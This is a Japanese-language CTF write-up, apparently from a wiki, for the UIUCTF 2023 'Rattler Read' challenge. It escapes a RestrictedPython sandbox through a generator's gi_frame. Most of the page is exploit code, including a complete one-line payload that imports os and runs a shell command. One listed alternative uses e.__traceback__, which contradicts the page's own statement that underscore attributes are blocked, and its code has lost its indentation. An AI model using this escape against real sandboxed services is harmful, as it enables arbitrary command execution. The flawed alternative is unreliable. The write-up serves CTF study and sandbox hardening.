pyjail wiki

UIUCTF 2023 - Rattler Read

Challenge

RestrictedPython で保護された環境。

from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_builtins
code = input()
byte_code = compile_restricted(code, '<inline>', 'exec')
exec(byte_code, {'__builtins__': safe_builtins})

Solution

RestrictedPython の制限

RestrictedPython は以下を制限:

  • _ で始まる属性へのアクセス
  • getattr, setattr の使用
  • 特定の危険な操作

gi_frame による脱出

ジェネレータの gi_frame 属性は制限されていない:

# ジェネレータ式からフレームを取得
g = (x for x in [1])
frame = g.gi_frame
builtins = frame.f_builtins

完全なペイロード

(x for x in [1]).gi_frame.f_builtins['__import__']('os').system('id')

Technical Details

RestrictedPython の仕組み

# 属性アクセスは _getattr_ でラップされる
x.y # → _getattr_(x, 'y')
# アンダースコアで始まる属性は禁止
x.__class__ # → RestrictedError

脆弱性: gi_frame

ジェネレータの gi_frame は特殊属性だが、RestrictedPython のチェックをバイパス:

# ジェネレータの属性
gen = (x for x in [])
gen.gi_frame # フレームオブジェクト
gen.gi_code # コードオブジェクト
gen.gi_running # 実行中フラグ

フレームからの脱出

frame = gen.gi_frame
frame.f_builtins # 完全な builtins
frame.f_globals # グローバル変数
frame.f_locals # ローカル変数

Alternative Solutions

別解1: cr_frame (コルーチン)

async def f(): pass
f().cr_frame.f_builtins

別解2: tb_frame (トレースバック)

try:
1/0
except Exception as e:
e.__traceback__.tb_frame.f_builtins

CVE 情報

この脆弱性は CVE として報告され、後のバージョンで修正された。

Flag

uiuctf{...}

References

  • UIUCTF 2023 Official
  • RestrictedPython Documentation
  • CVE (RestrictedPython gi_frame bypass)